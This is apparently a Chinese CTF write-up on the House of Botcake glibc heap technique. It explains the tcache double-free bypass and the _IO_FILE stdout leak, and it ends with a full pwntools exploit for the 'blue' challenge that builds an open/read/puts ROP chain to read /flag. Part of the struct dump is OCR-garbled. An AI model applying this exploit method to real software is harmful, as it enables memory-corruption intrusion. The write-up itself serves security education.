pwn知识——House of Botcake
个人理解
感觉House of Botcake就是double free + overlapping + _IO_FILE attack的结合使用,需要对堆结构有着较为详细的理解,也要有能管理堆顺序的能力,建议写题的时候还是标一标堆的index,这样在利用堆的时候会比较方便些
House of Botcake
想要利用这个攻击,我们得先了解_IO_FILE的结构
_IO_FILE
结构
pwndbg> p stdout
$3 =(FILE *)0x7f8aba48f760 < I0 2 1 stdout >
pwndbg> ptype stdout
type = struct IO FILE {
int flags; #flag得记得伪造
char * Io read ptr;
char * Io read end;
char * I0 read base,
char * I0 write base; #这三个write是我们攻击中的核心部分
char * I0 write ptr;
char * I0 write end;
char * Io buf base;
char * Io buf end;
char * I0 save base;
char * I0 backup base;
char * I0 save end;
struct I0 marker * markers;
struct IO FILE * chain;
int fileno;
int flags2;
off t old offset;
unsigned short cur column;
signed char vtable offset;
char shortbuf[1l;
I0 lock t * lock;
off64 t offset;
struct
I0 codecvt * codecvt;
struct Io wide data * wide data;
struct
IO FILE * freeres list;
void * freeres buf;
size tpad5;
int mode;
char unused2[20];
} *
_flag详情
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
我们需要关注的只有三个,_IO_MAGIC 0xFBAD0000,_IO_IS_APPENDING 0x1000,_IO_CURRENTLY_PUTTING,通常情况下_flag为0xfbad2887,而我们攻击的时候常常需要把_flag修改为0xfbad1800,这正好对应这三个flag值
解释
为什么要这样设置呢?
首先,我们在这种攻击方式下,用的基本是puts函数,puts函数会经历以下函数调用
puts->_IO_file_xsputn->_IO_file_overflow->_IO_do_write
下面我来详细解释下这些flag值的作用
当_IO_CURRENTLY_PUTTING=0x800时
通常表示当前文件流正在进行写入操作。
IO_IS_APPENDING=0x1000
表示文件流是否以追加模式打开。IO_MAGIC=0xFBAD0000
表示_IO_FILE结构是有效的
在_IO_FILE有效的情况下,因为我们以追加模式进行写入操作,如果我们把_IO_write_base,_IO_write_ptr分别设置为想要泄露的地方,结束泄露的地址,我们就可以通过environ函数的存在泄露出栈地址,从而获得当前函数的返回地址,进行一系列操作
原理
在libc大于2.27版本之后,为了防止tcache攻击过于简单而引入了tcache_key,对应的位置是堆块的bk。当堆块被free进入tcache_bin后,如果遍历该大小的tcache_bin发现有相同地址的堆块就会触发double_free警告,从而被killed掉
而House of Botcake,充分利用了这一机制,如果将同一堆块一次free进unsorted_bin里(没有key),一次free进tcache_bin里,是不是就绕过检查了呢?这样就让double_free再度成为可能
大致思路
先申请十个堆块,然后一如既往填满tcache先,第十个堆块用来防止与top chunk合并
接着再free第九个堆块(index=8),使它进入unsorted_bin
此时完成了把目标堆块扔进unsorted_bin里,但我们还需要再free第八个堆块,此时会触发chunk合并
这种攻击方法常常需要修改fd指针来达成我们需要的操作,我们目标堆块尾地址为720,为了控制到该堆块,我们先申请一个多余堆块给目标堆块腾位置
接着我们再次free第九个堆块,实现double_free
此时我们完成了我们的目的,实现了double_free,接下来就是切割unsorted_bin的堆块了,这里我选择切割0x70的堆块
那么下次我们再申请出0x70的堆块时,data域就是710,对应720的prev和size,我们就可以轻而易举操控fd啦。后续还可接着free这两个堆块进行长久地fd指针修改,进行任意操作,整个流程差不多如此。
例题:[CISCN 2022 华东北]blue
代码审计
main
为了方便,我把去符号表的函数名都修改为了对应的功能函数名
add
delete
把指针置空了,没有UAF漏洞
show
只有一次show的机会
only_UAF
同样,也只有一次UAF的机会
思路
这个题比较特殊,只有一次UAF和show的机会,所以我们只能把UAF和show作用于泄露libc,这样就可以找到_IO_2_1_stdout_,利用House of Botcake将_IO_FILE的_IO_write_base和_IO_write_ptr修改为environ,environ+8,通过puts泄露add的栈地址,从而获得ret的地址。再次free目标堆块和辅助堆块,再次通过House of Botcake修改目标堆块的fd为add_ret地址,申请到栈上的同时往栈布置orw链即可
动调
许多步骤和之前是一样的,我就不重复演示了,直接从切割0x70chunk开始
可以看到,我们已经把目标chunk的fd修改成了stdout,我们再申请进去后修改它的结构为environ即可在puts泄露栈地址
在puts时就会泄露出environ了
再把目标堆块和辅助堆块free出来进行伪造chunk
到这就结束啦!
Payload
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./blue')
#p = remote('node4.anna.nssctf.cn',28301)
elf = ELF('./blue')
libc = ELF('./libc.so.6')
def add(size, content):
p.recvuntil('Choice: ')
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size))
p.recvuntil(b'content: ')
p.send(content)
def only_UAF(index):
p.recvuntil('Choice: ')
p.sendline(b'666')
p.recvuntil(b'idx: ')
p.sendline(str(index))
def delete(index):
p.recvuntil('Choice: ')
p.sendline(b'2')
p.recvuntil(b'idx: ')
p.sendline(str(index))
def show(index):
p.recvuntil('Choice: ')
p.sendline(b'3')
p.recvuntil(b'idx: ')
p.sendline(str(index))
#house of botcake
#leak_libc
for i in range(9):
add(0x80, b'a') #0-8
add(0x80,b'a') #9 to avoid being caught by top chunk
for i in range(7):
delete(i) #0-6
#gdb.attach(p)
only_UAF(8) #this is victim chunk
show(8)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x60
log.success('main_arena==>' + hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>' + hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>' + hex(libc_base))
IO_stdout = libc_base + libc.symbols['_IO_2_1_stdout_']
log.success('IO_stdout==>' + hex(IO_stdout))
environ = libc_base + libc.symbols['environ']
log.success('environ==>' + hex(environ))
#gdb.attach(p)
#leak stack and fake stack chunk
delete(7) #this is prev chunk,which is used to be added with chunk 8,becoming a larger chunk that can be double free
add(0x80,b'a') #0,leave a place to target chunk,index 8
delete(8) #this time,the 8th chunk has been double free,which is in the list of tcache,and it will be used to overwrite the fd of 8th chunk by overlapping
gdb.attach(p)
add(0x70,b'a') #1
add(0x70,p64(0) + p64(0x91) + p64(IO_stdout)) #2,chunk expend,change fd to IO_stdout
add(0x80,b'a') #3,which fd has been changed to IO_stdout,
# gdb.attach(p)
add(0x80,p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)) #4,edit IO_stdout to leak stack
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('stack==>' + hex(stack))
stack_base = stack - 0x158
log.success('stack_base==>' + hex(stack_base))
add_ret = stack_base + 0x30
log.success('add_ret==>' + hex(add_ret))
delete(3) #free victim chunk
delete(2) #free the chunk that can change fd of victim chunk
add(0x70,p64(0) + p64(0x91) + p64(add_ret)) #2,fake stack chunk
#set orw
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
orw = b'/flag\x00\x00\x00' + p64(pop_rdi) + p64(add_ret) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(stack + 0x200) + p64(puts_addr)
#getshell
add(0x80,b'a') #3
#gdb.attach(p)
add(0x80,orw) #4,the stack
p.interactive()
总结
这个玩意感觉挺考验细心程度和对堆的理解,一个不留神就会弄错索引,伪造失败。堆好多house啊——什么时候才有我的house——